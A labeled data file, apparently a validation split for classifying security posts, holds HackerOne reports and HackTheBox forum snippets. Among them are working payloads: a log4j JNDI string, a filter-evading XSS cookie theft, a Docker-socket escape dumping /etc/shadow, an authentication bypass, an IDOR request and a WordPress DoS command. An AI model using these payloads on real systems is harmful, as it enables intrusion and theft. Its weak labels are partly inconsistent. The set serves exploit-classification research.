and be focused throughout BF attack (as the usernames are now known), making it less harder to penetrate the data.gov systems.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2ec6470b3b0213a0ba7", "text": "Yeah I’ve been mixing and matching on the operand injectors I did get something weird thought. I dont know if this is normal. I got the index.php and config.php to popup through the ‘ls’ command but still can’t find the flag. Screen Shot 2022-06-06 at 12.03.22 PM 1876×938 122 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "293b4ae4bc96f66bb608", "text": "[Improper Access Control - Generic] Authentication bypass leads to Information Disclosure at  U.S Air Force \"https://███\"\n\nHi Hackerone Triage team,\n\nI'm new in this program, what i understood that every Web Owned/Operated by DoD is in scope , so i did some google searches , exactly in wikipedia and i've find this PNG that confirms that U.S Air Force is in scope : https://en.wikipedia.org/wiki/United_States_Department_of_Defense#/media/File:DoD_Organization_December_2013.jpg\n\n\nAuthentication vulnerabilities are some of the simplest issues to understand. However, they can be among the most critical due to the obvious relationship between authentication and security. As well as potentially allowing attackers direct access to sensitive data and functionality, they also expose additional attack surface for further exploits. \n\nSo While testing AIR Force domain \"*.af.mil\" , i've find this subdomain `https://███/` that have a Login page , it's look like an Admin things , so i did some pentesting , and it's time to Authentication Bypass , especially because it uses APIs to deal with Database.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nU.S Air Force: af.mil\n\n## Steps to Reproduce\n#Steps for POC / Exploit :\n1.go \"https://████/harbor/sign-in\" , then username:password as : `admin:admin`\n2.Please be aware that we are going to intercept every single request in our Process of exploitation ,\n3.Before forwarding the request , using burp actions , use ; \n```\nDo intercept : response to this request\n```\n4.Change the Value of response :\n\n**From**\n```\nHTTP/1.1 401 Unauthorized\nvary: Cookie\nx-harbor-csrf-token: iigZs1FeT+ma5p15YDOTceiExGhLs734jPuOUXGYygmDuPNpxeuWKZArsB5T2GLeHoCfljAuXggKWOJ0LINdiA==\nx-request-id: b418b4ea-cf8d-4b07-9774-58735c4ab631\ndate: Sat, 03 Sep 2022 18:42:09 GMT\ncontent-length: 0\nx-envoy-upstream-service-time: 1510\nserver: envoy\nconnection: close\n```\n**TO THIS and forwarded it **\n```\nHTTP/1.1 200 OK\nvary: Cookie\nx-harbor-csrf-token: iigZs1FeT+ma5p15YDOTceiExGhLs734jPuOUXGYygmDuPNpxeuWKZArsB5T2GLeHoCfljAuXggKWOJ0LINdiA==\nx-request-id: b418b4ea-cf8d-4b07-9774-58735c4ab631\ndate: Sat, 03 Sep 2022 18:42:09 GMT\ncontent-length: 0\nx-envoy-upstream-service-time: 1510\nserver: envoy\nconnection: close\n\n```\n5.Ignore the second request about : `GET /api/v2.0/systeminfo HTTP/1.1` not neccaserry\n6.Intercept again and use methods in 3,4:\n```\nGET /api/v2.0/users/current HTTP/1.1\nHost: █████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nCache-Control: no-cache\nPragma: no-cache\nConnection: close\nReferer: https://█████/harbor/sign-in\nCookie: sid=a66e49e995c2fe659086de2237f422c2; _gorilla_csrf=MTY2MjIyOTI3N3xJa05hUkhFeWNGTXhNbU5CUzNwVE1XNU5LM1o0Y2k5WlJWY3ZOVGR1WlZCM2FIRk9jMHBXTUdKc05FVTlJZ289fB0DLyMK59qRUoo_SpL9Sv0QZkyDGLDVGMNa9_UYMSWz\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nX-FORWARDED-FOR: 127.0.0.1\n```\n**Change it from*\n```\nHTTP/1.1 401 Unauthorized\ncontent-type: application/json; charset=utf-8\nvary: Cookie, Accept-Encoding\nx-harbor-csrf-token: 1Brx7L2ZghZjt/RmUbMX2xFyuOM0OCVlj19hqoQrXzbdihs2KSxb1ml62QFiWOZ053bjHU+lxpUJ/A2P2TDItw==\nx-request-id: 8f4fd500-739a-437d-a42b-621206ff51a7\ndate: Sat, 03 Sep 2022 18:45:12 GMT\nx-envoy-upstream-service-time: 3\nserver: envoy\nconnection: close\nContent-Length: 61\n\n{\"errors\":[{\"code\":\"UNAUTHORIZED\",\"message\":\"UnAuthorize\"}]}\n```\n\n**To**\n```\nHTTP/1.1 200 OK\ncontent-type: application/json; charset=utf-8\nvary: Cookie, Accept-Encoding\nx-harbor-csrf-token: 1Brx7L2ZghZjt/RmUbMX2xFyuOM0OCVlj19hqoQrXzbdihs2KSxb1ml62QFiWOZ053bjHU+lxpUJ/A2P2TDItw==\nx-request-id: 8f4fd500-739a-437d-a42b-621206ff51a7\ndate: Sat, 03 Sep 2022 18:45:12 GMT\nx-envoy-upstream-service-time: 3\nserver: envoy\nconnection: close\nContent-Length: 61\n\n{\"message\":\"Authorized\"}\n```\n\n7.Keep intercepting any request and check if response header and body are :\n\n```\nHTTP/1.1 401 Unauthorized\n\n{\"errors\":[{\"code\":\"UNAUTHORIZED\",\"message\":\"UnAuthorize\"}]", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1cf1040ae5e4b879f032", "text": "never mind, i found it: ^ (caret) means “the beginning of the line”. So “^a” means find a line starting with an “a”.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d81c7267afbdbe68f9f", "text": "[Improper Access Control - Generic] Attacker Can Access to any Ticket Support on https://www.devicelock.com/support/\n\n## Summary\n\nHello team.\n\nI found A security issue on devicelock.com where the attacker can access to any Ticket support and real all the information that The users sent to the support. and this without user interaction.\n\nIn other words: **an attacker can have full access to users Ticket using `Ticket id` only .**\n \n\n\n## Steps To Reproduce\n\nto Reproduce This bug you need to accounts, one for the attacker and the other for the victim.\n\n  1. in the victim account go to https://www.devicelock.com/bitrix/admin/ticket_edit.php?lang=en and add a new ticket. now, this ticket has an **ID** Copy this id.\n  2. go to https://www.devicelock.com/support/ticket_edit.html?ID=0 and put anything on Subject&Message. \nnow make intercept on and click on ***Save***. and change the **Content-Disposition: form-data; name=\"ID\"** value to the victim id ticket .\n\n\n### vulnerable Request : `ID` parameter \n ```\nPOST /support/ticket_edit.html?ID=0 HTTP/1.1\nHost: www.devicelock.com\nConnection: close\nContent-Length: 1505\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: https://www.devicelock.com\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryEbeDU0DJhrnLl8U7\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://www.devicelock.com/support/ticket_edit.html?ID=38173\nAccept-Encoding: gzip, deflate\nAccept-Language: ar,en-US;q=0.9,en;q=0.8\nCookie: <attacker_Cookie>\n\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"sessid\"\n\n<sessid_attacker>\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"set_default\"\n\nY\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"ID\"\n\n<victim_id>\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"lang\"\n\nen\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"TITLE\"\n\nanything\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"MESSAGE\"\n\nanything\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n3072000\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"FILE_0\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"FILE_1\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"FILE_2\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"files_counter\"\n\n2\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"apply\"\n\nApply\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7\nContent-Disposition: form-data; name=\"apply\"\n\nY\n------WebKitFormBoundaryEbeDU0DJhrnLl8U7--\n\n```\n\nnow in the response, you can see the victim ticket information.\n\n### POC \n\n{F1228906}\n\n## Impact\n\nan attacker can access all user's tickets without user interaction.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1763f80b752a21bdbe35", "text": "[Privilege Escalation] Installing Gitlab runner with Docker-In-Docker allows root access\n\n### Summary\n\nInstalling a Gitlab runner using official documents: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-socket-binding\nallows any user with access to Gitlab CI to have root access on Gitlab Runner server.\n\n### Steps to reproduce\nInstall Gitlab-runner binary using official documents and run Docker-in-Docker:\n```\nsudo gitlab-runner register -n \\\n  --url https://gitlab.com/ \\\n  --registration-token REGISTRATION_TOKEN \\\n  --executor docker \\\n  --description \"My Docker Runner\" \\\n  --docker-image \"docker:19.03.12\" \\\n  --docker-volumes /var/run/docker.sock:/var/run/docker.sock\n```  \nThen set \"exploiter\" tag for runner, and in a project that have access to this runner, enter following pipeline:\n```\nstages:\n  - exploiter\nexploiter:\n    stage: exploiter\n    when: manual\n    tags:\n      - exploiter\n    script:\n      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c \"cat /host/etc/shadow\"\n```\nand run the job.\n\n### Impact\nAllows root access on Gitlab-runner server\n\n### What is the current *bug* behavior?\nSample output of job allows reading /etc/shadow of server.\n```\nRunning with gitlab-runner 14.5.1 (de104fcd)\n  on My Docker Runner 4j_ZSXte\nPreparing the \"docker\" executor 00:04\nUsing Docker executor with image docker:19.03.12 ...\nPulling docker image docker:19.03.12 ...\nUsing docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...\nPreparing environment 00:02\nRunning on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1...\nGetting source from Git repository 00:03\nFetching changes with git depth set to 50...\nReinitialized existing Git repository in /builds/foroozan2/barika/.git/\nChecking out e64249e2 as main...\nSkipping Git submodules setup\nExecuting \"step_script\" stage of the job script 00:10\nUsing docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...\n$ docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c \"cat /host/etc/shadow\"\nUnable to find image 'ubuntu:latest' locally\nlatest: Pulling from library/ubuntu\n7b1a6ab2e44d: Pulling fs layer\n7b1a6ab2e44d: Verifying Checksum\n7b1a6ab2e44d: Download complete\n7b1a6ab2e44d: Pull complete\nDigest: sha256:626ffe58f6e7566e00254b638eb7e0f3b11d4da9675088f4781a50ae288f3322\nStatus: Downloaded newer image for ubuntu:latest\nroot:*:18438:0:99999:7:::\ndaemon:*:18438:0:99999:7:::\nbin:*:18438:0:99999:7:::\nsys:*:18438:0:99999:7:::\nsync:*:18438:0:99999:7:::\ngames:*:18438:0:99999:7:::\nman:*:18438:0:99999:7:::\nlp:*:18438:0:99999:7:::\nmail:*:18438:0:99999:7:::\nnews:*:18438:0:99999:7:::\nuucp:*:18438:0:99999:7:::\nproxy:*:18438:0:99999:7:::\nwww-data:*:18438:0:99999:7:::\nbackup:*:18438:0:99999:7:::\nlist:*:18438:0:99999:7:::\nirc:*:18438:0:99999:7:::\ngnats:*:18438:0:99999:7:::\nnobody:*:18438:0:99999:7:::\nsystemd-network:*:18438:0:99999:7:::\nsystemd-resolve:*:18438:0:99999:7:::\nsystemd-timesync:*:18438:0:99999:7:::\nmessagebus:*:18438:0:99999:7:::\nsyslog:*:18438:0:99999:7:::\n_apt:*:18438:0:99999:7:::\ntss:*:18438:0:99999:7:::\nuuidd:*:18438:0:99999:7:::\ntcpdump:*:18438:0:99999:7:::\nsshd:*:18438:0:99999:7:::\nlandscape:*:18438:0:99999:7:::\npollinate:*:18438:0:99999:7:::\nsystemd-coredump:!!:18966::::::\nubuntu:!:18966:0:99999:7:::\nlxd:!:18966::::::\ngitlab-runner:!:18966:0:99999:7:::\n```\n\n### What is the expected *correct* behavior?\n\nAlthough this issue may be known to Gitlab team, there is no security warning in documents for not binding docker socket, or at least use it only on trusted servers. Currently I'm encountering many clients that were not aware of this security issue and were thinking they've provided isolation in their teams. Such issue allows a remote attacker to malform CI process and have access to sensitive data", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "18f11f06fe3597f8138a", "text": "[Insecure Storage of Sensitive Information] Reference caching can leak data to unauthorized users\n\n## Summary:\nThe [ReferenceManager](https://github.com/nextcloud/server/blob/master/lib/private/Collaboration/Reference/ReferenceManager.php) uses a cache to store information about previously accessed references. The used `cachePrefix` in deck ([see here](https://github.com/nextcloud/deck/blob/e55b3a0a26a65a01fae8cfdf83b1066616bfa6ee/lib/Reference/CardReferenceProvider.php#L154-L166)) is independent of the user. If User1 has access to a deck card and the reference data is stored in the cache, any user with knowledge of the boardId/cardId can access the information of that deck card.\n\n## Steps To Reproduce:\n  1. User1 has a deck card and shares the link in a talk conversation\n  2. Any user of that conversation (or with knowledge of the link) is able to see the deck card, if the call to the reference provider was done for user1 before\n\n\n## Supporting Material/References:\nUser \"Admin\":\n{F2025386}\n\nUser \"Test\":\n{F2025389}\n\n## Impact\n\nI think the impact should be minimal, because multiple things need to happen to leak information (the reference needs to be cached, another user needs to know the url, etc.).\nThe GitHub-Integration uses the `userId` as a cachePrefix, this so this shouldn't be a issue in that case, [see here](https://github.com/nextcloud/integration_github/blob/bb443c47fc8a9b0ba090456461040136a93c9214/lib/Reference/GithubReferenceProvider.php#L175-L182).\nI haven't looked at other reference providers.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de32c8d6282788291f6e", "text": "[Use of Externally-Controlled Format String] ███ ████████ running a vulnerable log4j\n\n#Report\n\n**Description:**\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228\n\n## Impact\n\nProbably arbitrary code execution\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Browse to https://██████████/█████████https%3A%2F%2F███%2F\n2. Enter a `${jndi:ldap://dns-server-yoi-control/a}` into the username field\n3. Enter a random password\n4. Submit\n\nObserve that a request was made to your DNS server. This strongly suggests a vulnerable log4j.\n\n## Suggested Mitigation/Remediation Actions\nUpdate log4j or disable jndi support.\n\n\n\n#Activity Timeline\n\n2021-12-10 18:16 (-0600) (comment)\nGreetings from the Department of Defense (DoD),\n\nThank you for supporting the DoD Vulnerability Disclosure Program (VDP).\n\nBy submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.\n\nThe VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy.  If your report is determined to be out-of-scope, it will be closed without action.\n\nWe will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.\n\nOur goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.\n\nRegards,\n\nThe VDP Team\n\n---\n\n2021-12-13 08:29 (-0600): @agent-l8 (report severity updated)\nnull\n\n---\n\n2021-12-13 08:29 (-0600): @agent-l8 (bug triaged)\nGreetings,\n\nWe have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.\n\nThank you for bringing this vulnerability to our attention!\n\nWe will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.\n\nYou will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.\n\nThanks again for supporting the DoD Vulnerability Disclosure Program.\n\nRegards,\n\nThe VDP Team\n\n---", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6256152a180e512620e5", "text": "[Business Logic Errors] CVE-2022-27775: Bad local IPv6 connection reuse\n\n## Summary:\nCurl doesn't consider IPv6 address zone index when doing connection reuse. if connection exists to specific IPv6 address  (and other conditions for connection reuse are fulfilled) it will be reused for connections regardless of the zone index.\n\n## Steps To Reproduce:\n\n  1.Set up a fake server: `echo -ne 'HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n' | nc -6 -v -l -p 9999`\n  2. curl \"http://[ipv6addr]:9999/x\" \"http://[ipv6addr%25lo]:9999/y\"\n\nBoth connections arrive to the test server:\n\n```\nListening on :: 9999\nConnection received on somehost someport\nGET /x HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n\nGET /y HTTP/1.1\nHost: [ipv6addr]:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\n```\n\nClearly the 2nd connection should fail as the address is not available at interface lo. (Lone connection to `http://[ipv6addr%25lo]:9999/` fails with `curl: (7) Couldn't connect to server`)\n\n## Impact\n\nReuse of wrong connection leading to potential disclosure of confidential information.\n\nPractical impact of this vulnerability is very low, due to the rarity of situation where interfaces would have identical addresses. The attacker would also need to be able to manipulate the addresses the victim app connects to (making it first connect to interface controlled by the attacker).Finally, it doesn't seem likely that TLS would be used for such connections, making the scenario rather insecure to begin with.It seems likely that if the attacker has ability to set up interfaces with identical addresses they would have easier way to compromise the system anyway.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27775"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21b0f7d8908ceb2acd9c", "text": "[Insufficiently Protected Credentials] CVE-2022-27774: Credential leak on redirect\n\n## Summary:\nCurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.\n\n## Steps To Reproduce:\n\n  1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite:\n     ```\n    RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n    RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]\n     ```\n  2. Capture credentials at `secondsite.tld` for example with:\n     ```\n     while true; do echo -e \"220 pocftp\\n331 plz\\n530 bye\" | nc -v -l -p 9999; done\n     ```\n  3. `curl -L --user foo  https://firstsite.tld/redirectpoc`\n  4. The entered password is visible in the fake FTP server:\n```\nListening on 0.0.0.0 9999\nConnection received on somehost someport\nUSER foo\nPASS secretpassword\n```\n\nThere are several issues here:\n1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect, considering the documentation says:\n> When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.\n2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.\n\nI believe the credentials should not be sent in this case unless if `--location-trusted` is used.\n\nIt might even be sensible to consider making curl stop sending credentials over downgraded security by default even when `--location-trusted` is used. Maybe there could be some option that could be used to enable such downgrade if the user REALLY wants it.\n\n## Impact\n\nLeak of confidential information (user credentials).", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27774"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c974e4c0fae9821058fe", "text": "yeah happened to me just right now after exiting the shell all php files where getting me 504 @everyone here can u reset the machine", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8495d064627da712ec7e", "text": "You need to systematically DIG or transfer EVERY subdomain you find, and pay attention to which DNS server you’re querying when you do it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d1e9d12e6d6f1d975849", "text": "[Cross-site Scripting (XSS) - Stored] Cache Poisoning Allows Stored XSS Via hav Cookie Parameter (To Account Takeover)\n\n## Summary:\n\nReport #1698316 was closed as resolved \n\nYou told me that the stored XSS was going to be resolved since \"As this relies on the same root cause, we will be closing it as duplicate\", but no \n\n\nabritel.fr has a strong WAF, however the server hides double quotes, allowing to bypass the WAF\n\ne.g\n\nThe server blocks `</script`but if I send `</sc\"ript>`\n\nWAF is bypassed and the output is </script>\n\n\n## Steps To Reproduce:\n\n\n1-> Send this request \n\n```http\nGET /annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js?xxxd HTTP/2\nHost: www.abritel.fr\nCookie: hav=xss\"</sc\"ript><sv\"g/onloa\"d=aler\"t\"(document.doma\"in)>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.abritel.fr/signup?enable_registration=true&redirectTo=%2Fsearch%2Fkeywords%3Asoissons-france-%28xss%29%2FminNightlyPrice%2F0%3FpetIncluded%3Dfalse%26filterByTotalPrice%3Dtrue%26ssr%3Dtrue&referrer_page_location=serp\nUpgrade-Insecure-Requests: 1\nTe: trailers\n```\n\n2-> Using another browser visit: \n\nhttps://www.abritel.fr/annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.jpeg?xxxd\n\nExploit:\n\nThis is the payload to extract the HASESSIONV3 \nxss\"</sc\"ript><sv\"g/onloa\"d=aler\"t\"(window.INITIAL_STATE.system.cookie)>\n\n\n## Supporting Material/References:\n\n{F2016192}\n\n## Impact\n\nStored XSS to Account Takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2acc15a58c36fb327d61", "text": "Airodump-ng command and host discovery\n\nHow exactly does airodump-ng command allows you to discover the hosts that are connected to the network. I understand the AP is transmitting beacons all the time so they could be connected to, but I don’t understand why the command can also output the hosts that are connected to it… Thanks in advance", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7ac0297e7bf36010efc", "text": "Solved it. Just needed to specify ‘warfiles’ directory inside the archive, that was created by the script, like: /cmd/warfiles/cmd.jsp?cmd=id", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "521b090e2166779265fb", "text": "[Uncontrolled Resource Consumption] DoS at █████(CVE-2018-6389)\n\n**Description:**\n\nUnauthenticated attackers can cause a denial of service (resource consumption) listing a large number of registered .js files (from wp-includes/script-loader.php)\n\nVulnerable Url : https://██████████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n**Vulnerability**\n\nAn attacker can now use the below tool to implement the attack\n- https://github.com/quitten/doser.py\ncommand : python3 doser.py -g \"https://██████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jq", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-6389"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
